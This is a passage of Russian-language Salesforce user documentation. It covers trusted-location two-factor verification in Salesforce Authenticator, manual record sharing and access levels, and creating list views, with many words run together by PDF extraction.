Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Contact Manager.

Включите службы геопозиции в мобильном приложении средства проверки
подлинности Salesforceииспользуйтеприложение для автоматическойдвухфакторной
проверки подлинности из доверенного местоположения. В качестве примеров
доверенных геопозиций можно назвать дом или офис.

Важное замечание: Версия 2.0 мобильного приложения средства проверки
подлинности Salesforce будет доступна для всех производственных организаций в
App Store и Google Play после завершения выпуска Spring '16 Salesforce 13 февраля
2016 г. Приложениенедоступнодляпредварительногопросмотраилитестирования
в безопасных организациях.

Перед началом использования приложения двухфакторной проверки подлинности
подключите приложение к учетной записи. Когда вы будете использовать средство
проверки подлинности Salesforce для проверки действий учетной записи в первый раз,
приложение запросит доступ к вашей геопозиции. Либоразрешите доступ, либопозже
войдите в настройки мобильного устройства, чтобы разрешить средству проверки
подлинности Salesforce получить доступ к вашей геопозиции. Данные о геопозиции с
вашего мобильного устройства останутся в приложении. Разрешение доступа к вашей
геопозиции позволит автоматизировать двухфакторную проверку подлинности во
время работы в офисе, дома или в других доверенных местах.

1. Ответьте на уведомление. Для этого откройте приложение средства проверки подлинности Salesforce на своем
мобильном устройстве.
Приложениеотображает сведенияодействиях учетнойзаписи, в томчислеимяпользователя, услугу, доступк которой
пытаются получить (например, Salesforce) и информацию об используемом для этого устройстве. Если включены и
доступныслужбы геопозиции, приложениепоказывает текущееместоположениепользователя. Ввидуособенностей
геолокационнойтехнологииточностьполей геолокации (например, страна, город, улица) можетбытьнестабильной.

2. Проверьте информацию.

3. Если сведения подтверждаются вами и вы находитесь в доверенном месте, например в офисе или дома, включите
«Всегда проверять отсюда».

4. Коснитесь кнопки «Подтвердить».
В системе Salesforce вы входите или предоставляете доступ к нужному ресурсу. В следующий раз, когда вы повторите
то же действие из того же места, приложение средства проверки подлинности Salesforce автоматически проверит
действие за вас. Нужно, чтобы мобильное устройство было под рукой, но не нужно отвечать на уведомление
приложения.

СМ. ТАКЖЕ:

Проверка действий учетной записи с помощью средства проверки подлинности Salesforce (версия 2.0 и выше) для
двухфакторной проверки подлинности

Отключение автоматической проверки на основе геопозиции в средстве проверки подлинности Salesforce (версия
2.0 и выше)
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Отключение автоматической проверки на основе геопозиции в средстве проверки
подлинности Salesforce (версия 2.0 и выше)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Двухфакторная проверка
подлинности со средством
проверки подлинности
Salesforce доступна в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Contact Manager.

Можно удалить местоположение из списка доверенных геопозиций, чтобы отключить
автоматическую проверку в этом месте.

Важное замечание: Версия 2.0 мобильного приложения средства проверки
подлинности Salesforce будет доступна для всех производственных организаций в
App Store и Google Play после завершения выпуска Spring '16 Salesforce 13 февраля
2016 г. Приложениенедоступнодляпредварительногопросмотраилитестирования
в безопасных организациях.

1. ОткройтеприложениесредствапроверкиподлинностиSalesforceнасвоеммобильном
устройстве.

2. Вспискеподключенныхорганизацийкоснитесьименипользователя, чтобыперейти
на страницу сведений об организации.

3. В разделе «Проверенные геопозиции» коснитесь кнопки «Показать все».

4. Проведите пальцем влево по местоположению, которое хотите удалить из списка
доверенных.

5. Коснитесь кнопки «Удалить» или «Отключить доверенные», в зависимости от
того, какая из них отображается.
Приложение предложит подтвердить отключение автоматической проверки в данной геопозиции.

6. Коснитесь кнопки «Отключить доверенные».

СМ. ТАКЖЕ:

Автоматизация двухфакторной проверки подлинности из доверенной геопозиции с помощью средства проверки
подлинности Salesforce (версия 2.0 и выше)

Управление взаимосвязями и данными посредством записей

Какправило, данные Salesforce хранятся в виде отдельных записейи систематизируютсяпосредствомобъектов. Например,
объект «Организация» объединяет все записи организаций. Запись организации Acme указывает, что компания Acme
является одной из организаций пользователя.

Поиск и просмотр записей и данных
Вкладки, результаты поиска и списки могут использоваться для просмотра данных.

Создание записей
Создание записей — это стандартная процедура для большинства пользователей Salesforce. Процесс создания записи
идентичендлявсехобъектов, однаконекоторыеобъекты (например, организации) отличаютсяналичиемспециальных
рекомендаций.

Редактирование записей

Удаление записей
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Вложение файлов в записи
Файлы (например, документы Microsoft® Office, PDF-документы Adobe®, изображенияивидеофайлы) могутбыть вложены
во многие записи Salesforce. Максимальный размер вложенного файла составляет 25 Мб (при добавлении прямо в
связанный список), включаяфайлы, вложенные в решение.Общий максимальный размер всехфайлов, вложенных в
сообщение эл. почты, составляет 25 Мб; размер одного файла не должен превышать 5 Мб.

Темы для записей
Темы — это словаилифразы, которыемогутбытьназначенызаписям Salesforce сцельюихсистематизациипообщим
тематикам. Темы позволяют объединять записи по общей тематике, а затем фильтровать списковые представления.

Теги в записях
Теги — это слова или короткие фразы, которые могут быть назначены записям Salesforce с целью индивидуального
описания и структурирования данных. Теги позволяют объединять записи разных объектов по темам или
использованию, а затем выполнять быстрый и удобный поиск нужных сведений.

Проверка орфографии
Если организация поддерживаетфункциюпроверки орфографии, то некоторые компоненты, основанные на вводе
текста (например, сообщения эл. почты, события, задачи, обращения, примечания и решения) могут быть проверены
на наличие орфографических ошибок.

Рекомендации по вводу валют, дат, времени и номеров телефонов

Выбор значений раскрывающегося списка
Система Salesforce поддерживает разные типы полей раскрывающегося списка.

Примечания
Инструмент «Примечания» — это расширенная версия инструмента создания примечаний Salesforce, позволяющая
пользователям быстрее добавлять более эффективные примечания. Рекомендуем использовать инструмент
«Примечания» дляоптимизациибизнес-процессов, повышенияпроизводительностииэффективногоиспользования
системы Salesforce.

Рекомендации по управлениюфайлами и примечаниями, прикрепленными к записям
При работе с вложениями, документами Google и примечаниями, созданными в старой версии средства, следует
помнить следующее.

Поля примечаний и вложений
Инструмент «Примечания» — это расширенная версия исходного инструмента создания примечаний Salesforce.
Данная таблица содержит поля, доступные при создании примечания посредством инструмента «Примечания».
Чтобы добавить маркированные и нумерованные списки в примечания, воспользуйтесь значками на панели
инструментов.

Удаление примечаний и вложений из записей
Чтобы удалить примечание или вложение, щелкните ссылку «Удал.» напротив нужного примечания или вложения
в связанном списке записи «Примечания и вложения» или «Вложения».

Почему сохраняемая запись помечается как повтор? Что делать?

Организация использует повторяющиеся правила, препятствующие созданию повторяющихся записей. Чтобы
определить дальнейшие действия, прочтите сообщение.
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Поиск и просмотр записей и данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

Вкладки, результаты поиска и списки могут использоваться для просмотра данных.

При использовании записей помните, что типы записей, доступные для создания,
просмотра, редактирования и удаления, определяются параметрами администратора
(например, профильпользователяилинаборполномочий). Доступкотдельнымзаписям
может определяться другими конфигурациями (например, параметры общего доступа).
А доступ к полям записей может контролироваться параметрами безопасности поля.
Чтобы получить доступ к нужным записям и данным, обратитесь к администратору.

Ниже перечислены некоторые способы поиска и просмотра записей.

• Откройте нужную вкладку (например, «Организации» или «Контакты») и нажмите кнопку «Начать!» напротив
стандартного представления или выберите другое представление. Отображаемая страница называется списковым
представлением.

• Чтобы найти нужную запись, воспользуйтесь ключевыми словами (например, имя или адрес, указанный в записи).
Поиск выполняется посредством поля поиска в верхнем колонтитуле большинства страниц.

• Чтобы просмотреть записи, связанные с текущей записью, воспользуйтесь связанными списками, расположенными
под основными разделами страницы сведений. Например, запись организации может содержать связанный список
контактов.

Предоставление доступа к записям
Вы можете вручную предоставлять другим пользователям общий доступ к определенным типам записей, включая
организации, контакты и интересы. В некоторых случаях доступ, предоставленный к одной записи, подразумевает
доступ ко всем связанным записям.

Редактирование или удаление доступа к записи
Пользователи могут редактировать или удалять доступ к записи.

Просмотр пользователей, имеющих доступ к записям
Пользователь, предоставивший доступ к собственной записи, может просмотреть список пользователей, имеющих
доступ к данной записи, а также к связанным данным и записям, включая уровни доступа и их пояснения. Данный
список содержит всех пользователей, чей уровень доступа превышает единые стандартные параметры.

Уровни доступа к записям

Списковые представления
Списковыепредставленияобеспечиваютбыстрыйдоступкважнымзаписямпользователя. Длякаждогостандартного
илинастраиваемогообъектаможнонаходитьпредварительнонастроенныепредставления, напримерсписокнедавно
просмотренныхзаписей. Можносоздаватьнастроенныесписковыепредставлениядляотображения записей, которые
отвечают вашим критериям. Вы можете прокручивать созданные вами предварительно настроенные и списковые
представления, атакжепросматриватьграфическоеотображениеданныхвашегосписковогопредставленияспомощью
соответствующих диаграмм.

Как работает модель общего доступа?

Какие типы записей поддерживают печать списковых представлений?
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Открытие недавно просмотренных элементов
Раздел «Недавние элементы» боковой панели Salesforce содержит 10 элементов (записи, документы, настраиваемые
объекты и предпочтения), добавленных, измененных или просмотренных последними.

СМ. ТАКЖЕ:

Страницы Salesforce

Общие сведения об администраторе Salesforce

Параметры общего доступа

Предоставление доступа к записям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Общий доступ для
организаций и контактов
доступен в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Общий доступ для
кампаний, обращений,
записей настраиваемых
объектов, интересов и
возможностей доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Выможетевручнуюпредоставлятьдругимпользователямобщийдоступкопределенным
типамзаписей, включаяорганизации, контактыиинтересы. Внекоторыхслучаяхдоступ,
предоставленный к одной записи, подразумевает доступ ко всем связанным записям.

Например, пользователь, которомупредоставляетсядоступкорганизации, автоматически
получает доступ ко всем связанным возможностям и обращениям.

Ниже перечислены пользователи, которые могут предоставлять доступ к записи.

• Ответственный за запись

• Вышестоящий пользователь в иерархии ролей (если параметры общего доступа
контролируют уровень доступа посредством иерархий)

• Любой пользователь с полным доступом к записи

• Администратор

Просмотреть обзор: предоставитьпользователямдоступ к своей учетной записи

Чтобы предоставить доступ к записи вручную, выполните указанные ниже действия.

1. Нажмите кнопку «Общий доступ» на странице сведений о записи.

2. Нажмите кнопку «Добавить».

3. Выберитенужныйтипгруппы, пользователя, ролиилитерриториивраскрывающемся
списке «Поиск».

Доступные типы определяются данными, используемыми в организации.

ОписаниеТип

Все прямые и непрямые менеджеры пользователя.Группы менеджеров

Менеджер и все его прямые и непрямые подчиненные.Группы подчиненных менеджера

Всеобщедоступные группы, заданныеадминистратором.Общедоступные группы

Все персональные группы, заданные ответственным за
запись. Общийдоступкперсональнойгруппеможетбыть
предоставлен только ответственным за запись.

Персональные группы

Все пользователи организации. Пользователи портала
отсутствуют.

Пользователи
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ОписаниеТип

Все роли, заданные для организации. Данная категория
содержит всех пользователей каждой роли.

Роли

Всепользователивыбраннойролиинижестоящихролей
в иерархии. Доступно только при отсутствии порталов.

Роли и подчиненные роли

Все роли, заданные для организации. Данная категория
содержит всех пользователей выбранной роли и

Роли и внутренние подчиненные роли

нижестоящих ролей, кроме ролей партнерского и
клиентского порталов.

Рольиееподчиненныероли. Данная категориясодержит
всех пользователей выбранной роли и нижестоящих

Роли, внутренние подчиненные роли и подчиненные
роли портала

ролей. Доступно только в том случае, если организация
используетпартнерскийиликлиентскийпортал. Данная
категория содержит пользователей и роли портала.

Все территории, заданные организации, включая всех
пользователей каждой территории (если организация
поддерживает функцию управления территориями).

Территории

Всепользователивыбраннойтерриторииинижестоящих
территорий (если организация поддерживает функцию
управления территориями).

Территории и подчиненные территории

Прим.: Еслиорганизациясодержитболее 2 000 пользователей, ролейигрупп, тораскрывающеесяменю «Поиск»
отображает только те категории, элементам которых соответствует введенный запрос. Например, если имена
групп не содержат строки «Генеральный директор», то поиск по запросу «Генеральный директор» исключает
пункт «Группы» из раскрывающегося меню. При вводе нового критерия поиск будет выполняться по всем
категориям, включая скрытые. Чтобы перезаполнить раскрывающееся меню, очистите критерии поиска и
нажмите кнопку «Найти».

4. Чтобы выбрать определенные группы, роли, территории или пользователей, добавьте их имена в список «Общий
доступ с:». Чтобыпереместить элементыиз списка «Доступно» в список «Общийдоступ с:», воспользуйтесь кнопками
«Добавить» и «Удалить».

5. Выберите нужный уровень доступа к записи и любым собственным связанным записям.

Прим.:

• При предоставлении общего доступа к возможности или обращению пользователи должны иметь как
минимум доступ для чтения связанной организации (кроме случаев предоставления общего доступа к
обращениюпосредствомгруппы, работающейсобращениями). Приналичииполномочийобщегодоступа
к организациипользователям автоматическипредоставляется доступ для чтения организаций. Впротивном
случае рекомендуем обратиться к ответственному за организацию с просьбой предоставить пользователям
доступ для чтения.

• Параметр «Доступ к контакту» недоступенвтомслучае, еслиединомустандартномупараметрудляконтактов
задано значение «Контролируется родительским объектом».
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• Уровень доступа, заданный в правиле общего доступа, которое определяет доступ к связанным записям
объекта, применяется только к данному правилу общего доступа. Например, доступ к связанным контактам,
для которых в правиле общего доступа к организации выбран уровень «Личное», может быть предоставлен
другимиспособами — посредствомединыхстандартныхпараметров, полномочий «Изменениевсехданных»
и «Просмотр всех данных» или полномочий «Изменить все» и «Просмотреть все» для контактов.

6. Припредоставленииобщего доступа к прогнозу выберите «Отправка разрешена», чтобыразрешить пользователю,
группе или роли отправлять прогноз.

7. Выберите причину предоставления общего доступа к записи.

8. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Редактирование или удаление доступа к записи

Доступ к элементам пользовательского интерфейса, записям и полям

Просмотр пользователей, имеющих доступ к записям

Уровни доступа к записям

Почему кнопка «Общий доступ» не отображается на странице записи?

Редактирование или удаление доступа к записи

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Общий доступ для
организаций и контактов
доступен в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Общий доступ для
кампаний, обращений,
записей настраиваемых
объектов, интересов и
возможностей доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Общий доступ для
настраиваемых объектов
доступен в версии
Database.com Edition.

Пользователи могут редактировать или удалять доступ к записи.

Общий доступ, установленный вручную, удаляется автоматически при изменении
ответственного за запись или условий доступа (например, если единые стандартные
параметрыилиправилаобщегодоступапредоставляютаналогичныйилирасширенный
доступ).

Чтобы изменить или удалить доступ к записи, выполните указанные ниже действия.

1. Откройте нужную запись.

2. Нажмите кнопку «Общий доступ» на странице сведений о записи.

3. Щелкнитессылку«Правка»или«Удал.»напротивнужнойгруппы, роли, территории
или пользователя.

СМ. ТАКЖЕ:

Предоставление доступа к записям

Почему кнопка «Общий доступ» не отображается на странице записи?

Уровни доступа к записям

134

Поиск и просмотр записей и данныхОсновы Salesforce



Просмотр пользователей, имеющих доступ к записям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пользователь, предоставившийдоступксобственнойзаписи, можетпросмотретьсписок
пользователей, имеющихдоступкданнойзаписи, а такжек связаннымданнымизаписям,
включая уровни доступа и их пояснения. Данный список содержит всех пользователей,
чей уровень доступа превышает единые стандартные параметры.

При общем доступе к прогнозу данный список отображает возможность отправки
прогноза (вверсияхпрогнозирования, поддерживающихобщийдоступ).Данныйсписок
не содержит пользователей массового портала и суперпользователей клиентского
портала.

Прим.: Уровеньдоступа, заданныйвправилеобщегодоступа, котороеопределяет
доступксвязаннымзаписямобъекта, применяетсятолькокданномуправилуобщего
доступа. Например, доступ к связанным контактам, для которых в правиле общего
доступакорганизациивыбрануровень «Личное», можетбытьпредоставлендругими
способами — посредством единых стандартных параметров, полномочий
«Изменение всех данных» и «Просмотр всех данных» илиполномочий «Изменить
все» и «Просмотреть все» для контактов.

1. Нажмите кнопку «Общий доступ» для нужной записи.

2. Нажмите кнопку «Развернуть список».

3. Чтобыпросмотретьпричинупредоставлениядоступак записи, щелкнитессылку«Почему?»напротивименинужного
пользователя.

При наличии нескольких причин пользователю всегда предоставляется самый нестрогий уровень доступа.

Ниже перечислены возможные причины.

ОписаниеПричина

Доступ предоставляется посредством правила общего
доступа к организации, созданного администратором.

Правило общего доступа к организации

Доступ предоставляется посредством кнопки «Общий
доступ» в связанной организации.

Общий доступ к организации

Пользователь является участником группы, работающей
с организациями.

Группа, работающая с организациями

Организация назначена территории, доступной
пользователю.

Территория организации

Доступ предоставляется посредством правила общего
доступа к территории организации, созданного
администратором.

Правило территории организации

Пользователю предоставляется полномочие
администратора «Изменениевсехданных» или «Просмотр

Администратор

всех данных» или полномочие объекта «Изменить все»
или «Просмотреть все».
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ОписаниеПричина

Пользователю или любой вышестоящей роли портала
предоставляется доступ к организации, в которой
пользователь портала является контактом.

Связанный пользователь или роль портала

Пользователю принадлежит или доступен для
совместного использования контакт или контракт,

Связанный ответственный за запись или общий доступ

связанныйсорганизацией. Чтобыпросмотретьсвязанные
записи, принадлежащие или доступные пользователю
для совместного использования, щелкните
соответствующую ссылку.

Пользователь является участником группы общего
доступа, которой предоставлен доступ к контакту или

Общий доступ к связанной записи

контракту, связанному с организацией, принадлежащей
пользователям массового портала.

Доступ предоставляется посредством правила общего
доступа к кампании, созданного администратором.

Правило общего доступа к кампании

Доступ предоставляется посредством правила общего
доступа к обращению, созданного администратором.

Правило общего доступа к обращению

Доступ предоставляется посредством правила общего
доступа к контакту, созданного администратором.

Правило общего доступа к контакту

Доступкданнымпрогнозапредоставляетсяпосредством
кнопки «Общий доступ» в прогнозе (в версиях
прогнозирования, поддерживающих общий доступ).

Делегированный менеджер прогнозов

Пользователю предоставляется доступ как менеджеру
прогнозов в иерархии прогнозов.

Менеджер прогнозов

Пользователю предоставляется доступ посредством
группы (например, «Группа менеджеров» или «Группа
подчиненных менеджера»).

Участник группы

Доступ предоставляется посредством правила общего
доступа к интересу, созданного администратором.

Правило общего доступа к интересу

Пользователю подчиняется участник территории,
связанной с организацией, в иерархии ролей.

Менеджер участника территории

Доступ предоставляется посредством кнопки «Общий
доступ» в записи.

Общий доступ, установленный вручную

Организациявручнуюназначенатерритории, доступной
пользователю.

Общий доступ к территории, установленный вручную

Доступ предоставляется посредством правила общего
доступа к возможности, созданного администратором.

Правило общего доступа к возможности

Пользователь несет ответственность за запись или
является участником очереди, которой принадлежит

Ответственный
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ОписаниеПричина

запись, или является менеджером участника очереди в
иерархии ролей.

Пользователь является участником группы общего
доступа, которой предоставлен доступ к записям,
принадлежащим пользователям массового портала.

Группа общего доступа к порталу

Пользователь портала является контактом обращения.Связанный пользователь портала

Рольпользователярасположенавышеролипользователя
портала, которому предоставлен доступ к записи
посредством общего доступа или ответственности.

Вышестоящаярольответственногоилиобщедоступного
пользователя (только на портале)

Пользователь является участником группы сбыта,
работающей с возможностями.

Группа сбыта

Пользователюпредоставляетсяполномочие «Просмотр
всех прогнозов».

Полномочие «Просмотр всех прогнозов»

СМ. ТАКЖЕ:

Доступ к элементам пользовательского интерфейса, записям и полям

Предоставление доступа к записям

Уровни доступа к записям
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Уровни доступа к записям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Общий доступ для
организаций и контактов
доступен в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Общий доступ для
кампаний, обращений,
записей настраиваемых
объектов, интересов и
возможностей доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пользователям могут быть предоставлены разные уровни доступа к записям.

Ниже перечислены поддерживаемые уровни доступа.

ОписаниеУровень доступа

Пользователь может просматривать,
редактировать, удалять и переносить
записи, а также предоставлять другим
пользователям дополнительный доступ,
но не полный доступ.

Полный доступ

Пользователь может просматривать и
редактировать записи, а также добавлять
связанныезаписи, примечанияивложения.

Для чтения и записи

Пользовательможетпросматриватьзаписи
и добавлять связанные записи.
Пользователь не может редактировать
записи и добавлять примечания или
вложения.

Только для чтения

Пользователь не имеет доступа к записи.Личный

Прим.: Ошибка, возникающаяпривыборепараметра «Полныйдоступ», указывает
на невозможность предоставления полного доступа к записям. Чтобы определить
необходимость данного доступа, обратитесь к администратору.

СМ. ТАКЖЕ:

Доступ к элементам пользовательского интерфейса, записям и полям

Просмотр пользователей, имеющих доступ к записям

Списковые представления
Списковые представления обеспечивают быстрый доступ к важным записям пользователя. Для каждого стандартного
или настраиваемого объекта можно находить предварительно настроенные представления, например список недавно
просмотренных записей. Можно создавать настроенные списковые представления для отображения записей, которые
отвечают вашим критериям. Вы можете прокручивать созданные вами предварительно настроенные и списковые
представления, а также просматривать графическое отображение данных вашего спискового представления с помощью
соответствующих диаграмм.

Создание представления в виде списка
Создайтепредставлениеввидесписка, чтобыпросмотретьопределенныйнаборзаписей. Можносоздаватьисохранять
представления возможностей, контактов, мотиваторов и других стандартных и пользовательских объектов. Можно
определить, какие записи отображать, задав фильтры. В представлении в виде списка отображаются все записи,
удовлетворяющие условиям фильтра.
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Изменение фильтров представления в виде списка
Уточните или обновите представления в виде списка, чтобы обеспечить отображение наиболее актуальных записей.
Чтобы изменить выбор записей, отображаемых в представлении в виде списка, измените фильтры представления в
виде списка.

Сортировка списковых представлений
Связанные записи многих объектов доступны для просмотра в виде списков, которые также называются списковыми
представлениями.При наличии длинного списка можно отсортировать записи по одному из столбцов. Например,
списковое представление «Все организации» может быть отсортировано по столбцу «Имя организации» или
«Область/штат для счета». Такжеможновыполнитьсортировкунастраиваемыхсписковыхпредставлений. Сортировка
выполняется по алфавиту.

Печать спискового представления в Salesforce Classic

Удаление представления в виде списка
Удалитепредставлениев виде списка, когдаонобольшененужно, чтобырабочаяобласть содержала самыепоследние
данные.

Относительные значения дат для критериев фильтрации
При создании спискового представления, содержащего фильтры для диапазона дат (например, «Дата создания»
или «Дата последнего обновления»), рекомендуем использовать как минимум одно относительное значение даты
для определения диапазона.

Визуализация данных спискового представления с графиками в Lightning Experience

См. графическоепредставлениеданныхпредставленийв виде списка с графикамипредставленийв виде списка. Есть
тритипаграфиков: вертикальныйстолбчатый, горизонтальныйстолбчатыйитороидальный. Длялюбогопредставления
в виде списка выберите из доступных стандартных и пользовательских графиков представления в виде графиков.
Можно изменить отображение данных на другой тип, при необходимости.

Создание диаграммы спискового представления в Lightning Experience

Создайте диаграмму для визуализации данных спискового представления. Поддерживаются три типа диаграмм:
вертикальная, горизонтальнаяикруговая. Принеобходимостиизменитетипотображенияданныхдлялюбойдиаграммы
списковогопредставления. Присозданиидиаграммысписковогопредставлениядляобъекта (например, «Возможности»
или «Интересы») диаграмма связывается с объектом. Диаграмма поддерживается любым списковымпредставлением,
доступным пользователю для просмотра в данном объекте, кроме списка «Недавно просмотренные».

Изменение графика спискового представления в Lightning Experience

Уточните или обновите настраиваемые графики представления в виде списка, чтобы обеспечить отображение
наиболее значимых визуализаций данных. Есть три типа графиков: вертикальный столбчатый, горизонтальный
столбчатый и тороидальный. Для любого из графиков представления в виде списка можно изменить отображение
данных на другой тип, при необходимости.

Создание представления в виде списка
Создайте представление в виде списка, чтобы просмотреть определенный набор записей. Можно создавать и сохранять
представления возможностей, контактов, мотиваторов и других стандартных и пользовательских объектов. Можно
определить, какие записи отображать, задав фильтры. В представлении в виде списка отображаются все записи,
удовлетворяющие условиям фильтра.

Создание спискового представления в Lightning Experience

Создание представления для просмотра бесконечно прокручиваемого списка записей, соответствующих критериям
заданного фильтра.

139

Поиск и просмотр записей и данныхОсновы Salesforce



Создание настраиваемых списковых представлений в Salesforce Classic

Создайте представление в виде списка, чтобы просмотреть определенный набор контактов, документов или других
записей объектов. Например, можно создать представление в виде списка для учетных записей, расположенных в
данномштате, мотиваторовсопределеннымисточникоммотивациииливозможностей, превышающихконкретную
величину. При необходимости создайте представления контактов, интересов, пользователей или обращений,
предназначенные для пакетной электронной рассылки.

Создание спискового представления в Lightning Experience

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы создать
представления в виде
списков:
• «Чтение» для типа

записи, добавленного в
список, И «Создание и
настройка списковых
представлений»

Для создания,
редактирования и удаления
общедоступных списковых
представлений:
• «Управление

общедоступными
списковыми
представлениями»

Создание представления для просмотра бесконечно прокручиваемого списка записей,
соответствующих критериям заданного фильтра.

Прим.: Выполнитеследующиедействияв Lightning Experience. Еслислеванаходится
панельнавигации, выв Lightning Experience. Есливверху экранаимеетсяряд вкладок,
вы находитесь в Salesforce Classic.

Действия, которые можно предпринять для представлений в виде списка, доступны в
меню элементов управления представлением списка, доступ выполняется нажатием на

значок рядом с именем представления в виде списка.

1. В меню элементов управления представлением списка выберите «Создать». При
этом отображается диалоговое окно,

2. Введите имя списка.

3. Выберите тех, кто сможет видеть это списковое представление: только вы или все
пользователи, в том числе и пользователи партнерского или клиентского портала.

4. Нажмите кнопку «Сохранить». Откроется панель «Фильтры».

5. Нажмите «Показать», затем выберите «Все объекты» или «Мои объекты».

6. Нажмите кнопку «Готово».

7. Добавьте и настройте фильтры для просмотра только тех записей, которые
соответствуют вашим критериям. У вас есть различные варианты, в зависимости от
того поля, которое вы хотите отфильтровать, и выбранного оператора.

a. Из раскрывающегося меню «Создать фильтр» выберите поле для фильтрации.

b. Нажмите кнопку «Готово».

c. Из раскрывающегося меню «Фильтровать по» выберите оператор. Например,
выберите «равно», «начинается с» или «исключает».

d. В поле «Значение» сделайте выбор или введите значение.

e. Нажмите кнопку «Готово».

f. Чтобы установить еще один фильтр, нажмите «Добавитьфильтр».

g. Чтобы удалить фильтр, нажмите рядом с именем фильтра.

8. Нажмите кнопку «Сохранить». Представление открывается в выпадающем списке представления в виде списка,
чтобы получить доступ к нему позже.

9. Дополнительно выберите и упорядочите столбцы в вашем представлении в виде списка.

a. Из меню элементов управления представлением списка выберите «Выбор полей для отображения».
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b. Чтобыдобавитьстолбцы, выберитеодноилинесколькополейиз «Доступныеполя» ииспользуйтестрелку, чтобы
переместить их в «Отображаемые поля».

c. Для удаления столбцов, выберите одно или несколько полей из «Отображаемые поля» и используйте стрелку,
чтобы переместить их в «Доступные поля».

d. Упорядочите столбцы, выбрав одно или несколько полей из Visible Fields и используя стрелки для перемещения
их вверх или вниз.

e. Нажмите кнопку «Сохранить».

Пример: Вы планируете поездку в Сан-Франциско и хотите увидеть список учетных записей, которые требуется
просмотреть, пока вы будете там. В «Организации» создайте представление в виде списка, в котором выводится
«Мои организации». Добавьте фильтр для «Город для счета» равно San Francisco.

Прим.: Сведения, отображаемые в списковых представлениях, представляют собой только те данные, к которым
имеется доступ, т. е. либо записи, которые принадлежат нынешнему владельцу или на которые у него есть права на
доступ по чтению/записи, либо записи, которыми кто-то поделился, либо те записи, которые принадлежат или
которымиделилисьпользователи с роляминижероли владельца в иерархииролей. Доступныеполя определяются
макетами страниц и параметрами безопасности поля.

СМ. ТАКЖЕ:

Создание настраиваемых списковых представлений в Salesforce Classic

Редактирование фильтров спискового представления в Lightning Experience

Справочник по операторам фильтров

Визуализация данных спискового представления с графиками в Lightning Experience
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Создание настраиваемых списковых представлений в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания настраиваемых
списковых представлений:
• «Чтение» для типа

записи, добавленного в
список, И «Создание и
настройка списковых
представлений»

Для создания,
редактирования и удаления
общедоступных списковых
представлений:
• «Управление

общедоступными
списковыми
представлениями»

Создайте представление в виде списка, чтобы просмотреть определенный набор
контактов, документов или других записей объектов. Например, можно создать
представление в виде списка для учетных записей, расположенных в данномштате,
мотиваторовсопределеннымисточникоммотивациииливозможностей, превышающих
конкретнуювеличину. Принеобходимостисоздайтепредставленияконтактов, интересов,
пользователейилиобращений, предназначенныедляпакетной электроннойрассылки.

Прим.: Эти действия доступны в Salesforce Classic. Если вверху экрана имеется ряд
вкладок, вы находитесь в Salesforce Classic. Если слева находится панель навигации,
вы в Lightning Experience.

Чтобысоздатьпредставление, щелкнитессылку«Создатьновоепредставление»вверху
любой страницы со списком или в разделе «Просмотр» на любой начальной странице
вкладки.

Прим.: Ссылка«Создатьновоепредставление»отображаетсятолькоприналичии
полномочия «Создание и настройка списковых представлений». Чтобы включить
данное полномочие, обратитесь к администратору Salesforce.

1. Заполните поле «Имя представления».

Введите имя, которое должно отображаться в раскрывающемся списке «Просмотр».

2. Приналичииполномочия «Настройкаприложения» введитеуникальноеимя, которое
должно использоваться интерфейсом API и управляемыми пакетами.

3. Определение критериевфильтрации

Фильтровать по ответственному
Данныепараметрыопределяютсятипомзаписи. Чтобыопределитьнаборзаписей
дляпоиска, установитепереключатель «Все...» или «Мои...». Данныйраздел
может содержать дополнительные параметры.

• Списковые представления интересов и обращений могут быть ограничены очередью.

• Списковые представления прайс-листов могут быть ограничены прайс-листом.

• Списковые представления действий поддерживают несколько параметров.

• Еслиорганизацияиспользуетфункциюуправлениятерриториями, тосписковыепредставленияорганизаций
и возможностей могут быть ограничены параметром «Мои территории» или «Мои группы, работающие
с территориями». Параметр «Мои территории» определяет записи, связанныес территориямипользователя.
Параметр «Мои группы, работающие с территориями» определяет записи, связанные с территориями
пользователя или нижестоящими территориями в иерархии территорий.

• Если организация использует группы, работающие с обращениями, то списковые представления обращений
могут быть ограничены параметром «Мои группы, работающие с обращениями».

• Еслиорганизацияиспользует группы, работающиесорганизациями, тосписковыепредставленияорганизаций
могут быть ограничены параметром «Мои группы, работающие с организациями».

• Еслиорганизацияиспользуетгруппы, работающиесвозможностями, тосписковыепредставлениявозможностей
могут быть ограничены параметром «Мои группы, работающие с возможностями».

Фильтровать по кампании
Ниже перечислены списковые представления, поддерживающие данный параметр.

• Начальная страница контактов
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• Начальная страница интересов

• Пакетная электронная рассылка контактов

• Пакетная электронная рассылка интересов

• Мастер пакетного добавления участников кампании

• Мастер пакетного обновления участников кампании

Припопыткесохраненияредактируемогосписковогопредставления, отфильтрованногопокампании, отображается
сообщение об ошибке, если кампания недоступна как минимум для чтения.

Фильтровать по подразделению
